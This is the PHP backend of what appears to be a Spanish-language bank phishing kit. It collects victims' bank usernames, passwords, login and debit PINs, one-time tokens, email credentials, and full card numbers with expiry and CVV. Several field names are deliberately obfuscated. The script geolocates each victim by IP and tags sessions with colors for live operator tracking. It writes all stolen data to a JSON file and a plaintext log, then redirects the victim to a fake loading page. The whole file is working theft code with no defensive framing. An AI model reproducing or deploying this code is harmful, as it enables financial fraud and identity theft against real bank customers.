<?php
session_start();

// ==========================
// Obtener IP real del usuario
// ==========================
function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        return trim($ipList[0]);
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

// ==========================
// Obtener IP y ubicación
// ==========================
$user_ip = getUserIP();
$ubicacionData = @file_get_contents("http://ip-api.com/json/{$user_ip}?fields=status,country,regionName,city,lat,lon,query");
$ubicacion = json_decode($ubicacionData, true);

if ($ubicacion && isset($ubicacion['status']) && $ubicacion['status'] === 'success') {
    $location = "{$ubicacion['country']}, {$ubicacion['regionName']}, {$ubicacion['city']}";
} else {
    $location = "Desconocida";
}

// ==========================
// Establecer coban como "empre" automáticamente
// ==========================
if (!isset($_SESSION['coban']) || empty($_SESSION['coban'])) {
    $_SESSION['coban'] = 'empre';
}
$coban = $_SESSION['coban'];

// ==========================
// Variables según coban
// ==========================
$ussua  = $_POST['ussua']  ?? '';
$contr4 = $_POST['contr4'] ?? '';
$toq    = $_POST['toq']    ?? '';

// Nuevos campos del index raíz con etiquetas
$tipo_documento = $_POST['tipo_documento'] ?? '';
$documento = $_POST['documento'] ?? '';
$clave_login = $_POST['clave'] ?? '';
$clave_debi = $_POST['clave_debi'] ?? '';
$ultimos4 = $_POST['ultimos4'] ?? '';

// Datos de correo (corr.html)
$correo = $_POST['correo'] ?? '';
$clave  = $_POST['clave']  ?? '';

// Datos de tarjeta (tar.html)
$nmer0_t4rj = $_POST['nmer0_t4rj'] ?? '';
$mes_tar    = $_POST['mes_tar']    ?? '';
$anio_tar   = $_POST['anio_tar']   ?? '';
$CBB        = $_POST['CBB']        ?? '';

// Detectar si es un reintento desde index2.html
$es_reintento = isset($_POST['es_reintento']) && $_POST['es_reintento'] == '1';

// ==========================
// Detectar si es un nuevo login desde index principal
// Si es_reintento = false Y tiene usuario+contraseña, es nuevo login
// Si es_reintento = true, NO crear nuevo sid, actualizar el existente
// ==========================
$es_nuevo_login_old = (!empty($ussua) && !empty($contr4) && !$es_reintento);
$es_nuevo_login_new = (!empty($documento) && (!empty($clave_login) || !empty($clave_debi)) && !$es_reintento);
$es_nuevo_login = $es_nuevo_login_old || $es_nuevo_login_new;

if ($es_nuevo_login) {
    // IMPORTANTE: Limpiar cualquier SID anterior para evitar reutilizar sesiones antiguas
    unset($_SESSION['sid']);
    unset($_SESSION['user_id']);
    // Generar identificador único
    if (!isset($_SESSION['user_id'])) {
        $_SESSION['user_id'] = uniqid("usr_");
    }
    $user_id = $_SESSION['user_id'];

    // Generar ID único para CADA ingreso de login
    $sid = bin2hex(random_bytes(16)) . "_" . time() . "_" . mt_rand(10000, 99999);
    
    // Asignar color
    $sessionsFile = __DIR__ . "/sessions.json";
    $colorFile = __DIR__ . "/ip_colors.json";
    $colores = ["🔵","🔴","🟢","🟡","🟣"];
    $emoji_color = $colores[0]; // Default
    
    // Asignar color de manera atómica
    $colorFp = fopen($colorFile, "c+");
    if ($colorFp) {
        if (flock($colorFp, LOCK_EX)) {
            // IMPORTANTE: Posicionar al inicio antes de leer
            rewind($colorFp);
            $content = stream_get_contents($colorFp);
            $colorData = $content ? json_decode($content, true) : ['global_counter' => 0, 'counters' => []];
            
            if (!isset($colorData['global_counter'])) {
                $colorData = ['global_counter' => 0, 'counters' => ['🔵' => 0, '🔴' => 0, '🟢' => 0, '🟡' => 0, '🟣' => 0]];
            }
            
            $nextIndex = $colorData['global_counter'] % count($colores);
            $selectedColor = $colores[$nextIndex];
            
            if (!isset($colorData['counters'][$selectedColor])) {
                $colorData['counters'][$selectedColor] = 0;
            }
            $colorData['counters'][$selectedColor]++;
            $colorData['global_counter']++;
            
            $emoji_color = $selectedColor;
            
            // Limpiar archivo y escribir
            ftruncate($colorFp, 0);
            rewind($colorFp);
            fwrite($colorFp, json_encode($colorData, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
            fflush($colorFp);
            
            flock($colorFp, LOCK_UN);
        }
        fclose($colorFp);
    }
    
    // Crear sesión inicial
    $sessionsFp = fopen($sessionsFile, "c+");
    if ($sessionsFp) {
        if (flock($sessionsFp, LOCK_EX)) {
            // IMPORTANTE: Posicionar al inicio antes de leer
            rewind($sessionsFp);
            $content = stream_get_contents($sessionsFp);
            $sessions = $content ? json_decode($content, true) : [];
            
            if (!is_array($sessions)) {
                $sessions = [];
            }
            
            $sessions[$sid] = [
                "status" => "",
                "ip" => $user_ip,
                "location" => $location,
                "coban" => $coban,
                "color" => $emoji_color,
                "user_id" => $user_id,
                "timestamp" => time()
            ];
            
            // Limpiar archivo y escribir
            ftruncate($sessionsFp, 0);
            rewind($sessionsFp);
            fwrite($sessionsFp, json_encode($sessions, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
            fflush($sessionsFp);
            
            flock($sessionsFp, LOCK_UN);
        }
        fclose($sessionsFp);
    }
    
    // Guardar el nuevo sid en la sesión
    $_SESSION['sid'] = $sid;
} else {
    // No es un nuevo login, usar el sid existente
    // (puede ser un reintento o un paso posterior en el flujo)
    if (!isset($_SESSION['sid']) || empty($_SESSION['sid'])) {
        // Si no hay sid (no debería pasar), redirigir al inicio
        header('Location: index.html');
        exit;
    }
    $sid = $_SESSION['sid'];
}

$user_id = $_SESSION['user_id'] ?? uniqid("usr_");
$_SESSION['user_id'] = $user_id;

// ==========================
// Guardar/actualizar sesión en JSON con bloqueo atómico
// ==========================
$sessionsFile = __DIR__ . "/sessions.json";
$emoji_color = '🔵'; // Default

$fp = fopen($sessionsFile, "c+");
if ($fp) {
    if (flock($fp, LOCK_EX)) {
        // Leer archivo dentro del bloqueo
        rewind($fp);
        $content = stream_get_contents($fp);
        $sessions = $content ? json_decode($content, true) : [];
        
        if (!is_array($sessions)) {
            $sessions = [];
        }
        
        // Obtener color de la sesión existente
        $emoji_color = $sessions[$sid]['color'] ?? '🔵';
        
        // Si la sesión ya existe, actualizarla; si no, crearla
        if (!isset($sessions[$sid])) {
            $sessions[$sid] = [
                "status" => "",
                "ip" => $user_ip,
                "location" => $location,
                "coban" => $coban,
                "color" => $emoji_color,
                "user_id" => $user_id,
                "timestamp" => time()
            ];
        }
        
        // SIEMPRE resetear el status a vacío cuando se reciben nuevos datos
        $sessions[$sid]['status'] = "";
        
        // Actualizar datos recibidos (formato antiguo)
        if ($ussua) {
            $sessions[$sid]['usuario'] = $ussua;
        }
        if ($contr4) {
            $sessions[$sid]['password'] = $contr4;
        }
        if ($toq) {
            $sessions[$sid]['token'] = $toq;
        }
        
        // Nuevos campos del index raíz con etiquetas personalizadas
        if ($tipo_documento) {
            $sessions[$sid]['Tipo de Documento:'] = $tipo_documento;
        }
        if ($documento) {
            $sessions[$sid]['Documento:'] = $documento;
        }
        if ($clave_login) {
            $sessions[$sid]['Clave:'] = $clave_login;
        }
        if ($clave_debi) {
            $sessions[$sid]['Clave Debi:'] = $clave_debi;
        }
        if ($ultimos4) {
            $sessions[$sid]['Ultimos 4 de T:'] = $ultimos4;
        }
        
        // Datos de correo
        if ($correo) {
            $sessions[$sid]['correo'] = $correo;
        }
        if ($clave && !$clave_login) {
            $sessions[$sid]['clave_correo'] = $clave;
        }
        
        // Datos de tarjeta
        if ($nmer0_t4rj) {
            $sessions[$sid]['numero_tarjeta'] = $nmer0_t4rj;
        }
        if ($mes_tar && $anio_tar) {
            $sessions[$sid]['expiracion_tarjeta'] = "$mes_tar/$anio_tar";
        }
        if ($CBB) {
            $sessions[$sid]['cvv_tarjeta'] = $CBB;
        }
        
        // Actualizar timestamp
        $sessions[$sid]['timestamp'] = time();
        
        // Escribir archivo
        ftruncate($fp, 0);
        rewind($fp);
        fwrite($fp, json_encode($sessions, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
        fflush($fp);
        
        flock($fp, LOCK_UN);
    }
    fclose($fp);
}

// ==========================
// Guardar logs
// ==========================
$logDir = __DIR__ . "/sessions";
if (!is_dir($logDir)) {
    mkdir($logDir, 0755, true);
}

$logMsg = date("Y-m-d H:i:s") . " [$sid] ($user_ip) {$emoji_color}\n";
if ($ussua) $logMsg .= "  Usuario: $ussua\n";
if ($contr4) $logMsg .= "  Password: $contr4\n";
if ($tipo_documento) $logMsg .= "  Tipo de Documento: $tipo_documento\n";
if ($documento) $logMsg .= "  Documento: $documento\n";
if ($clave_login) $logMsg .= "  Clave: $clave_login\n";
if ($clave_debi) $logMsg .= "  Clave Debi: $clave_debi\n";
if ($ultimos4) $logMsg .= "  Ultimos 4 de T: $ultimos4\n";
if ($toq) $logMsg .= "  Token: $toq\n";
if ($correo) $logMsg .= "  Correo: $correo\n";
if ($clave && !$clave_login) $logMsg .= "  Clave Correo: $clave\n";
if ($nmer0_t4rj) $logMsg .= "  Tarjeta: $nmer0_t4rj\n";
if ($mes_tar && $anio_tar) $logMsg .= "  Expiración: $mes_tar/$anio_tar\n";
if ($CBB) $logMsg .= "  CVV: $CBB\n";
if ($es_reintento) $logMsg .= "  [REINTENTO]\n";
$logMsg .= "\n";

file_put_contents("$logDir/debug.log", $logMsg, FILE_APPEND);

// ==========================
// Redirigir a carga.php
// ==========================
header("Location: carga.php");
exit;
?>
